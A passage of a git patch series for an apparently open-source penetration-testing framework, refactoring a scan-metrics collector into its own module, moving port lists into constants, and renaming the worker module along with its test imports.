"_web_test_ssrf_basic"] }, { "id": "web_auth_design", From 90a38a8aa69d7fa707d866476f327caa27879651 Mon Sep 17 00:00:00 2001 From: toderian Date: Tue, 10 Mar 2026 13:49:38 +0000 Subject: [PATCH 41/42] fix: move metrix collector to a separate file --- .../cybersec/red_mesh/metrics_collector.py | 187 ++++++++++++++++++ .../cybersec/red_mesh/redmesh_utils.py | 187 +----------------- 2 files changed, 188 insertions(+), 186 deletions(-) create mode 100644 extensions/business/cybersec/red_mesh/metrics_collector.py diff --git a/extensions/business/cybersec/red_mesh/metrics_collector.py b/extensions/business/cybersec/red_mesh/metrics_collector.py new file mode 100644 index 00000000..1f0295a7 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/metrics_collector.py @@ -0,0 +1,187 @@ +import time +import statistics + +from .models.shared import ScanMetrics + + +class MetricsCollector: + """Collects raw scan timing and outcome data during a worker scan.""" + + def __init__(self): + self._phase_starts = {} + self._phase_ends = {} + self._connection_outcomes = {"connected": 0, "timeout": 0, "refused": 0, "reset": 0, "error": 0} + self._response_times = [] + self._port_scan_delays = [] + self._probe_results = {} + self._scan_start = None + self._ports_in_range = 0 + self._ports_scanned = 0 + self._ports_skipped = 0 + self._open_ports = [] + self._open_port_details = [] # [{"port": int, "protocol": str, "banner_confirmed": bool}] + self._service_counts = {} + self._banner_confirmed = 0 + self._banner_guessed = 0 + self._finding_counts = {} + # For success rate over time windows + self._connection_log = [] # [(timestamp, success_bool)] + + def start_scan(self, ports_in_range: int): + self._scan_start = time.time() + self._ports_in_range = ports_in_range + + def phase_start(self, phase: str): + self._phase_starts[phase] = time.time() + + def phase_end(self, phase: str): + self._phase_ends[phase] = time.time() + + def record_connection(self, outcome: str, response_time: float): + self._connection_outcomes[outcome] = self._connection_outcomes.get(outcome, 0) + 1 + if response_time >= 0: + self._response_times.append(response_time) + self._connection_log.append((time.time(), outcome == "connected")) + self._ports_scanned += 1 + + def record_port_scan_delay(self, delay: float): + self._port_scan_delays.append(delay) + + def record_probe(self, probe_name: str, result: str): + self._probe_results[probe_name] = result + + def record_open_port(self, port: int, protocol: str = None, banner_confirmed: bool = False): + self._open_ports.append(port) + self._open_port_details.append({"port": port, "protocol": protocol or "unknown", "banner_confirmed": banner_confirmed}) + if banner_confirmed: + self._banner_confirmed += 1 + else: + self._banner_guessed += 1 + if protocol: + self._service_counts[protocol] = self._service_counts.get(protocol, 0) + 1 + + def record_finding(self, severity: str): + self._finding_counts[severity] = self._finding_counts.get(severity, 0) + 1 + + def _compute_stats(self, values: list) -> dict | None: + if not values: + return None + sorted_v = sorted(values) + n = len(sorted_v) + mean = sum(sorted_v) / n + median = sorted_v[n // 2] if n % 2 else (sorted_v[n // 2 - 1] + sorted_v[n // 2]) / 2 + stddev = statistics.stdev(sorted_v) if n > 1 else 0 + p95 = sorted_v[int(n * 0.95)] if n >= 20 else sorted_v[-1] + p99 = sorted_v[int(n * 0.99)] if n >= 100 else sorted_v[-1] + return { + "min": round(sorted_v[0], 4), + "max": round(sorted_v[-1], 4), + "mean": round(mean, 4), + "median": round(median, 4), + "stddev": round(stddev, 4), + "p95": round(p95, 4), + "p99": round(p99, 4), + "count": n, + } + + def _compute_phase_durations(self) -> dict | None: + durations = {} + for phase, start in self._phase_starts.items(): + end = self._phase_ends.get(phase, time.time()) + durations[phase] = round(end - start, 2) + return durations if durations else None + + def _compute_success_windows(self, window_size: float = 60.0) -> list | None: + if not self._connection_log: + return None + windows = [] + start_time = self._connection_log[0][0] + end_time = self._connection_log[-1][0] + t = start_time + while t < end_time: + w_end = t + window_size + entries = [(ts, ok) for ts, ok in self._connection_log if t <= ts < w_end] + if entries: + rate = sum(1 for _, ok in entries if ok) / len(entries) + windows.append({ + "window_start": round(t - start_time, 1), + "window_end": round(w_end - start_time, 1), + "success_rate": round(rate, 3), + }) + t = w_end + return windows if windows else None + + def _detect_rate_limiting(self) -> bool: + windows = self._compute_success_windows() + if not windows or len(windows) < 3: + return False + # Detect: last 2 windows have significantly lower success rate than first 2 + first = sum(w["success_rate"] for w in windows[:2]) / 2 + last = sum(w["success_rate"] for w in windows[-2:]) / 2 + return first > 0.5 and last < first * 0.7 + + def _detect_blocking(self) -> bool: + windows = self._compute_success_windows() + if not windows or len(windows) < 2: + return False + # Detect: any window with 0% success rate after a window with >50% success + for i in range(1, len(windows)): + if windows[i - 1]["success_rate"] > 0.5 and windows[i]["success_rate"] == 0: + return True + return False + + def _compute_port_distribution(self) -> dict | None: + if not self._open_ports: + return None + well_known = sum(1 for p in self._open_ports if p <= 1023) + registered = sum(1 for p in self._open_ports if 1024 <= p <= 49151) + ephemeral = sum(1 for p in self._open_ports if p > 49151) + return {"well_known": well_known, "registered": registered, "ephemeral": ephemeral} + + def _compute_coverage(self) -> dict | None: + if self._ports_in_range == 0: + return None + pct = round(self._ports_scanned / self._ports_in_range * 100, 1) if self._ports_in_range else 0 + return { + "ports_in_range": self._ports_in_range, + "ports_scanned": self._ports_scanned, + "ports_skipped": self._ports_skipped, + "coverage_pct": pct, + "open_ports_count": len(self._open_ports), + } + + def build(self) -> ScanMetrics: + """Build ScanMetrics from collected raw data. Safe to call at any time.""" + total_connections = sum(self._connection_outcomes.values()) + outcomes = dict(self._connection_outcomes) + if total_connections > 0: + outcomes["total"] = total_connections + + probes_attempted = len(self._probe_results) + probes_completed = sum(1 for v in self._probe_results.values() if v == "completed") + probes_skipped = sum(1 for v in self._probe_results.values() if v.startswith("skipped")) + probes_failed = sum(1 for v in self._probe_results.values() if v == "failed") + + banner_total = self._banner_confirmed + self._banner_guessed + return ScanMetrics( + phase_durations=self._compute_phase_durations(), + total_duration=round(time.time() - self._scan_start, 2) if self._scan_start else 0, + port_scan_delays=self._compute_stats(self._port_scan_delays), + connection_outcomes=outcomes if total_connections > 0 else None, + response_times=self._compute_stats(self._response_times), + slow_ports=None, + success_rate_over_time=self._compute_success_windows(), + rate_limiting_detected=self._detect_rate_limiting(), + blocking_detected=self._detect_blocking(), + coverage=self._compute_coverage(), + probes_attempted=probes_attempted, + probes_completed=probes_completed, + probes_skipped=probes_skipped, + probes_failed=probes_failed, + probe_breakdown=dict(self._probe_results) if self._probe_results else None, + port_distribution=self._compute_port_distribution(), + service_distribution=dict(self._service_counts) if self._service_counts else None, + finding_distribution=dict(self._finding_counts) if self._finding_counts else None, + open_port_details=list(self._open_port_details) if self._open_port_details else None, + banner_confirmation={"confirmed": self._banner_confirmed, "guessed": self._banner_guessed} if banner_total > 0 else None, + ) diff --git a/extensions/business/cybersec/red_mesh/redmesh_utils.py b/extensions/business/cybersec/red_mesh/redmesh_utils.py index c1f056a4..a496b006 100644 --- a/extensions/business/cybersec/red_mesh/redmesh_utils.py +++ b/extensions/business/cybersec/red_mesh/redmesh_utils.py @@ -17,192 +17,7 @@ ) from .web_mixin import _WebTestsMixin -from .models.shared import ScanMetrics -import math -import statistics - - -class MetricsCollector: - """Collects raw scan timing and outcome data during a worker scan.""" - - def __init__(self): - self._phase_starts = {} - self._phase_ends = {} - self._connection_outcomes = {"connected": 0, "timeout": 0, "refused": 0, "reset": 0, "error": 0} - self._response_times = [] - self._port_scan_delays = [] - self._probe_results = {} - self._scan_start = None - self._ports_in_range = 0 - self._ports_scanned = 0 - self._ports_skipped = 0 - self._open_ports = [] - self._open_port_details = [] # [{"port": int, "protocol": str, "banner_confirmed": bool}] - self._service_counts = {} - self._banner_confirmed = 0 - self._banner_guessed = 0 - self._finding_counts = {} - # For success rate over time windows - self._connection_log = [] # [(timestamp, success_bool)] - - def start_scan(self, ports_in_range: int): - self._scan_start = time.time() - self._ports_in_range = ports_in_range - - def phase_start(self, phase: str): - self._phase_starts[phase] = time.time() - - def phase_end(self, phase: str): - self._phase_ends[phase] = time.time() - - def record_connection(self, outcome: str, response_time: float): - self._connection_outcomes[outcome] = self._connection_outcomes.get(outcome, 0) + 1 - if response_time >= 0: - self._response_times.append(response_time) - self._connection_log.append((time.time(), outcome == "connected")) - self._ports_scanned += 1 - - def record_port_scan_delay(self, delay: float): - self._port_scan_delays.append(delay) - - def record_probe(self, probe_name: str, result: str): - self._probe_results[probe_name] = result - - def record_open_port(self, port: int, protocol: str = None, banner_confirmed: bool = False): - self._open_ports.append(port) - self._open_port_details.append({"port": port, "protocol": protocol or "unknown", "banner_confirmed": banner_confirmed}) - if banner_confirmed: - self._banner_confirmed += 1 - else: - self._banner_guessed += 1 - if protocol: - self._service_counts[protocol] = self._service_counts.get(protocol, 0) + 1 - - def record_finding(self, severity: str): - self._finding_counts[severity] = self._finding_counts.get(severity, 0) + 1 - - def _compute_stats(self, values: list) -> dict | None: - if not values: - return None - sorted_v = sorted(values) - n = len(sorted_v) - mean = sum(sorted_v) / n - median = sorted_v[n // 2] if n % 2 else (sorted_v[n // 2 - 1] + sorted_v[n // 2]) / 2 - stddev = statistics.stdev(sorted_v) if n > 1 else 0 - p95 = sorted_v[int(n * 0.95)] if n >= 20 else sorted_v[-1] - p99 = sorted_v[int(n * 0.99)] if n >= 100 else sorted_v[-1] - return { - "min": round(sorted_v[0], 4), - "max": round(sorted_v[-1], 4), - "mean": round(mean, 4), - "median": round(median, 4), - "stddev": round(stddev, 4), - "p95": round(p95, 4), - "p99": round(p99, 4), - "count": n, - } - - def _compute_phase_durations(self) -> dict | None: - durations = {} - for phase, start in self._phase_starts.items(): - end = self._phase_ends.get(phase, time.time()) - durations[phase] = round(end - start, 2) - return durations if durations else None - - def _compute_success_windows(self, window_size: float = 60.0) -> list | None: - if not self._connection_log: - return None - windows = [] - start_time = self._connection_log[0][0] - end_time = self._connection_log[-1][0] - t = start_time - while t < end_time: - w_end = t + window_size - entries = [(ts, ok) for ts, ok in self._connection_log if t <= ts < w_end] - if entries: - rate = sum(1 for _, ok in entries if ok) / len(entries) - windows.append({ - "window_start": round(t - start_time, 1), - "window_end": round(w_end - start_time, 1), - "success_rate": round(rate, 3), - }) - t = w_end - return windows if windows else None - - def _detect_rate_limiting(self) -> bool: - windows = self._compute_success_windows() - if not windows or len(windows) < 3: - return False - # Detect: last 2 windows have significantly lower success rate than first 2 - first = sum(w["success_rate"] for w in windows[:2]) / 2 - last = sum(w["success_rate"] for w in windows[-2:]) / 2 - return first > 0.5 and last < first * 0.7 - - def _detect_blocking(self) -> bool: - windows = self._compute_success_windows() - if not windows or len(windows) < 2: - return False - # Detect: any window with 0% success rate after a window with >50% success - for i in range(1, len(windows)): - if windows[i - 1]["success_rate"] > 0.5 and windows[i]["success_rate"] == 0: - return True - return False - - def _compute_port_distribution(self) -> dict | None: - if not self._open_ports: - return None - well_known = sum(1 for p in self._open_ports if p <= 1023) - registered = sum(1 for p in self._open_ports if 1024 <= p <= 49151) - ephemeral = sum(1 for p in self._open_ports if p > 49151) - return {"well_known": well_known, "registered": registered, "ephemeral": ephemeral} - - def _compute_coverage(self) -> dict | None: - if self._ports_in_range == 0: - return None - pct = round(self._ports_scanned / self._ports_in_range * 100, 1) if self._ports_in_range else 0 - return { - "ports_in_range": self._ports_in_range, - "ports_scanned": self._ports_scanned, - "ports_skipped": self._ports_skipped, - "coverage_pct": pct, - "open_ports_count": len(self._open_ports), - } - - def build(self) -> ScanMetrics: - """Build ScanMetrics from collected raw data. Safe to call at any time.""" - total_connections = sum(self._connection_outcomes.values()) - outcomes = dict(self._connection_outcomes) - if total_connections > 0: - outcomes["total"] = total_connections - - probes_attempted = len(self._probe_results) - probes_completed = sum(1 for v in self._probe_results.values() if v == "completed") - probes_skipped = sum(1 for v in self._probe_results.values() if v.startswith("skipped")) - probes_failed = sum(1 for v in self._probe_results.values() if v == "failed") - - banner_total = self._banner_confirmed + self._banner_guessed - return ScanMetrics( - phase_durations=self._compute_phase_durations(), - total_duration=round(time.time() - self._scan_start, 2) if self._scan_start else 0, - port_scan_delays=self._compute_stats(self._port_scan_delays), - connection_outcomes=outcomes if total_connections > 0 else None, - response_times=self._compute_stats(self._response_times), - slow_ports=None, - success_rate_over_time=self._compute_success_windows(), - rate_limiting_detected=self._detect_rate_limiting(), - blocking_detected=self._detect_blocking(), - coverage=self._compute_coverage(), - probes_attempted=probes_attempted, - probes_completed=probes_completed, - probes_skipped=probes_skipped, - probes_failed=probes_failed, - probe_breakdown=dict(self._probe_results) if self._probe_results else None, - port_distribution=self._compute_port_distribution(), - service_distribution=dict(self._service_counts) if self._service_counts else None, - finding_distribution=dict(self._finding_counts) if self._finding_counts else None, - open_port_details=list(self._open_port_details) if self._open_port_details else None, - banner_confirmation={"confirmed": self._banner_confirmed, "guessed": self._banner_guessed} if banner_total > 0 else None, - ) +from .metrics_collector import MetricsCollector COMMON_PORTS = [ From ec702512e09a9cdeb29ba578a638501d95b6dca6 Mon Sep 17 00:00:00 2001 From: toderian Date: Tue, 10 Mar 2026 14:01:00 +0000 Subject: [PATCH 42/42] refactor: rename redmesh_utils to pentester_worker --- .../business/cybersec/red_mesh/constants.py | 12 +++++++ .../{redmesh_utils.py => pentest_worker.py} | 11 +----- .../cybersec/red_mesh/pentester_api_01.py | 2 +- .../cybersec/red_mesh/test_redmesh.py | 34 +++++++++---------- 4 files changed, 31 insertions(+), 28 deletions(-) rename extensions/business/cybersec/red_mesh/{redmesh_utils.py => pentest_worker.py} (99%) diff --git a/extensions/business/cybersec/red_mesh/constants.py b/extensions/business/cybersec/red_mesh/constants.py index c426cc46..d6face4a 100644 --- a/extensions/business/cybersec/red_mesh/constants.py +++ b/extensions/business/cybersec/red_mesh/constants.py @@ -217,6 +217,18 @@ LOCAL_WORKERS_MAX = 16 LOCAL_WORKERS_DEFAULT = 2 +# ===================================================================== +# Port lists +# ===================================================================== + +COMMON_PORTS = [ + 21, 22, 23, 25, 53, 80, 110, 143, 161, 443, 445, + 502, 1433, 1521, 27017, 3306, 3389, 5432, 5900, + 8080, 8443, 9200, 11211 +] + +ALL_PORTS = list(range(1, 65536)) + # ===================================================================== # Risk score computation # ===================================================================== diff --git a/extensions/business/cybersec/red_mesh/redmesh_utils.py b/extensions/business/cybersec/red_mesh/pentest_worker.py similarity index 99% rename from extensions/business/cybersec/red_mesh/redmesh_utils.py rename to extensions/business/cybersec/red_mesh/pentest_worker.py index a496b006..caa51f9c 100644 --- a/extensions/business/cybersec/red_mesh/redmesh_utils.py +++ b/extensions/business/cybersec/red_mesh/pentest_worker.py @@ -14,22 +14,13 @@ WELL_KNOWN_PORTS as _WELL_KNOWN_PORTS, FINGERPRINT_TIMEOUT, FINGERPRINT_MAX_BANNER, FINGERPRINT_HTTP_TIMEOUT, FINGERPRINT_NUDGE_TIMEOUT, SCAN_PORT_TIMEOUT, + COMMON_PORTS, ALL_PORTS, ) from .web_mixin import _WebTestsMixin from .metrics_collector import MetricsCollector -COMMON_PORTS = [ - 21, 22, 23, 25, 53, 80, 110, 143, 161, 443, 445, - 502, 1433, 1521, 27017, 3306, 3389, 5432, 5900, - 8080, 8443, 9200, 11211 -] - -# EXCEPTIONS = [64297] - -ALL_PORTS = [port for port in range(1, 65536)] - class PentestLocalWorker( _ServiceInfoMixin, _WebTestsMixin, diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 735857ff..d9dfa382 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -36,7 +36,7 @@ from urllib.parse import urlparse from naeural_core.business.default.web_app.fast_api_web_app import FastApiWebAppPlugin as BasePlugin -from .redmesh_utils import PentestLocalWorker # Import PentestJob from separate module +from .pentest_worker import PentestLocalWorker from .redmesh_llm_agent_mixin import _RedMeshLlmAgentMixin from .models import ( JobConfig, PassReport, PassReportRef, WorkerReportMeta, AggregatedScanData, diff --git a/extensions/business/cybersec/red_mesh/test_redmesh.py b/extensions/business/cybersec/red_mesh/test_redmesh.py index 4ff4c473..90a64e16 100644 --- a/extensions/business/cybersec/red_mesh/test_redmesh.py +++ b/extensions/business/cybersec/red_mesh/test_redmesh.py @@ -4,7 +4,7 @@ import unittest from unittest.mock import MagicMock, patch -from extensions.business.cybersec.red_mesh.redmesh_utils import PentestLocalWorker +from extensions.business.cybersec.red_mesh.pentest_worker import PentestLocalWorker from xperimental.utils import color_print @@ -505,7 +505,7 @@ def close(self): return None with patch( - "extensions.business.cybersec.red_mesh.redmesh_utils.socket.socket", + "extensions.business.cybersec.red_mesh.pentest_worker.socket.socket", return_value=DummySocket(), ): worker._scan_ports_step() @@ -1208,7 +1208,7 @@ def fake_socket_factory(*args, **kwargs): mock_sock.recv.return_value = modbus_response return mock_sock - with patch("extensions.business.cybersec.red_mesh.redmesh_utils.socket.socket", side_effect=fake_socket_factory): + with patch("extensions.business.cybersec.red_mesh.pentest_worker.socket.socket", side_effect=fake_socket_factory): worker._active_fingerprint_ports() self.assertEqual(worker.state["port_protocols"][1024], "modbus") @@ -1227,7 +1227,7 @@ def fake_socket_factory(*args, **kwargs): mock_sock.recv.return_value = b"" return mock_sock - with patch("extensions.business.cybersec.red_mesh.redmesh_utils.socket.socket", side_effect=fake_socket_factory): + with patch("extensions.business.cybersec.red_mesh.pentest_worker.socket.socket", side_effect=fake_socket_factory): worker._active_fingerprint_ports() self.assertEqual(worker.state["port_protocols"][1024], "unknown") @@ -1247,7 +1247,7 @@ def fake_socket_factory(*args, **kwargs): mock_sock.recv.return_value = fake_binary return mock_sock - with patch("extensions.business.cybersec.red_mesh.redmesh_utils.socket.socket", side_effect=fake_socket_factory): + with patch("extensions.business.cybersec.red_mesh.pentest_worker.socket.socket", side_effect=fake_socket_factory): worker._scan_ports_step() self.assertNotEqual(worker.state["port_protocols"][37364], "mysql") @@ -1269,7 +1269,7 @@ def fake_socket_factory(*args, **kwargs): mock_sock.recv.return_value = mysql_greeting return mock_sock - with patch("extensions.business.cybersec.red_mesh.redmesh_utils.socket.socket", side_effect=fake_socket_factory): + with patch("extensions.business.cybersec.red_mesh.pentest_worker.socket.socket", side_effect=fake_socket_factory): worker._scan_ports_step() self.assertEqual(worker.state["port_protocols"][3306], "mysql") @@ -1288,7 +1288,7 @@ def fake_socket_factory(*args, **kwargs): mock_sock.recv.return_value = telnet_banner return mock_sock - with patch("extensions.business.cybersec.red_mesh.redmesh_utils.socket.socket", side_effect=fake_socket_factory): + with patch("extensions.business.cybersec.red_mesh.pentest_worker.socket.socket", side_effect=fake_socket_factory): worker._scan_ports_step() self.assertEqual(worker.state["port_protocols"][2323], "telnet") @@ -1307,7 +1307,7 @@ def fake_socket_factory(*args, **kwargs): mock_sock.recv.return_value = fake_binary return mock_sock - with patch("extensions.business.cybersec.red_mesh.redmesh_utils.socket.socket", side_effect=fake_socket_factory): + with patch("extensions.business.cybersec.red_mesh.pentest_worker.socket.socket", side_effect=fake_socket_factory): worker._scan_ports_step() self.assertNotEqual(worker.state["port_protocols"][8502], "telnet") @@ -1325,7 +1325,7 @@ def fake_socket_factory(*args, **kwargs): mock_sock.recv.return_value = login_banner return mock_sock - with patch("extensions.business.cybersec.red_mesh.redmesh_utils.socket.socket", side_effect=fake_socket_factory): + with patch("extensions.business.cybersec.red_mesh.pentest_worker.socket.socket", side_effect=fake_socket_factory): worker._scan_ports_step() self.assertEqual(worker.state["port_protocols"][2323], "telnet") @@ -1353,7 +1353,7 @@ def fake_socket_factory(*args, **kwargs): mock_sock.recv.return_value = bad_modbus return mock_sock - with patch("extensions.business.cybersec.red_mesh.redmesh_utils.socket.socket", side_effect=fake_socket_factory): + with patch("extensions.business.cybersec.red_mesh.pentest_worker.socket.socket", side_effect=fake_socket_factory): worker._active_fingerprint_ports() self.assertNotEqual(worker.state["port_protocols"][1024], "modbus") @@ -1373,7 +1373,7 @@ def fake_socket_factory(*args, **kwargs): mock_sock.recv.return_value = fake_pkt return mock_sock - with patch("extensions.business.cybersec.red_mesh.redmesh_utils.socket.socket", side_effect=fake_socket_factory): + with patch("extensions.business.cybersec.red_mesh.pentest_worker.socket.socket", side_effect=fake_socket_factory): worker._scan_ports_step() self.assertNotEqual(worker.state["port_protocols"][9999], "mysql") @@ -4268,7 +4268,7 @@ class TestPhase16ScanMetrics(unittest.TestCase): def test_metrics_collector_empty_build(self): """build() with zero data returns ScanMetrics with defaults, no crash.""" - from extensions.business.cybersec.red_mesh.redmesh_utils import MetricsCollector + from extensions.business.cybersec.red_mesh.pentest_worker import MetricsCollector mc = MetricsCollector() result = mc.build() d = result.to_dict() @@ -4281,7 +4281,7 @@ def test_metrics_collector_empty_build(self): def test_metrics_collector_records_connections(self): """After recording outcomes, connection_outcomes has correct counts.""" - from extensions.business.cybersec.red_mesh.redmesh_utils import MetricsCollector + from extensions.business.cybersec.red_mesh.pentest_worker import MetricsCollector mc = MetricsCollector() mc.start_scan(100) mc.record_connection("connected", 0.05) @@ -4302,7 +4302,7 @@ def test_metrics_collector_records_connections(self): def test_metrics_collector_records_probes(self): """After recording probes, probe_breakdown has entries.""" - from extensions.business.cybersec.red_mesh.redmesh_utils import MetricsCollector + from extensions.business.cybersec.red_mesh.pentest_worker import MetricsCollector mc = MetricsCollector() mc.start_scan(10) mc.record_probe("_service_info_http", "completed") @@ -4318,7 +4318,7 @@ def test_metrics_collector_records_probes(self): def test_metrics_collector_phase_durations(self): """start/end phases produce positive durations.""" import time - from extensions.business.cybersec.red_mesh.redmesh_utils import MetricsCollector + from extensions.business.cybersec.red_mesh.pentest_worker import MetricsCollector mc = MetricsCollector() mc.start_scan(10) mc.phase_start("port_scan") @@ -4330,7 +4330,7 @@ def test_metrics_collector_phase_durations(self): def test_metrics_collector_findings(self): """record_finding tracks severity distribution.""" - from extensions.business.cybersec.red_mesh.redmesh_utils import MetricsCollector + from extensions.business.cybersec.red_mesh.pentest_worker import MetricsCollector mc = MetricsCollector() mc.start_scan(10) mc.record_finding("HIGH") @@ -4345,7 +4345,7 @@ def test_metrics_collector_findings(self): def test_metrics_collector_coverage(self): """Coverage tracks ports scanned vs in range.""" - from extensions.business.cybersec.red_mesh.redmesh_utils import MetricsCollector + from extensions.business.cybersec.red_mesh.pentest_worker import MetricsCollector mc = MetricsCollector() mc.start_scan(100) for i in range(50):